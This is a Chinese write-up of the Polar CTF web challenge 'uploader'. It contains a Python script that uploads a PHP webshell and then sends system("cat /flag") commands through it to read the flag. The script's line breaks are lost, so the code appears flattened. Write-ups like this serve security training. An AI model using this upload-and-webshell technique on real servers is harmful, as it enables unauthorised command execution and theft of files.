Polar Web【简单】uploader
Contents
- Polar Web【简单】uploader
- 思路
- EXP
- 运行&总结
思路
本题的重点仍是文件上传,只是期间需要加上一步自主的文件上传。
- 打开环境,审查代码,发现在上传文件之后会自动生成一个以MD5散列值命名的目录,并将上传的文件置于其中。
- 因此考虑自主设计上传逻辑,笔者采用的是脚本编写的方式。
- 上传成功后,找出所需的MD5散列值,对
url
进行拼接,随后进行Webshell
交互,此处依然采用了脚本的方式。
EXP
import requestsdef exe(url):command = 'system("cat /flag");'data = {'cmd': command}resp = requests.post(url=url, data=data)if resp:out = resp.content.decode('utf8')# print(out)print(out[out.rindex('flag'):out.rindex("?")])else:print("Nothing...")def upload_file(url, file):with open(file, 'rb') as f:files = {"file": f}resp = requests.post(url=url, files=files)if resp:print("Okk")print(resp.content.decode('utf8'))else:print("No")if __name__ == '__main__':u = 'http://~.www.polarctf.com:8090/[your_directory]/sh.php'# # 先运行这一部分拿到上传文件所在的新生成目录# f = "sh.php"# upload_file(u, f)# 拷贝了[your_directory]部分,索引到shell文件并拼接到url后,运行此函数exe(url=u)
运行&总结
- 借以此题,重温python脚本上传文件的实现方式
- 再次练习使用python脚本实现Webshell的简易版交互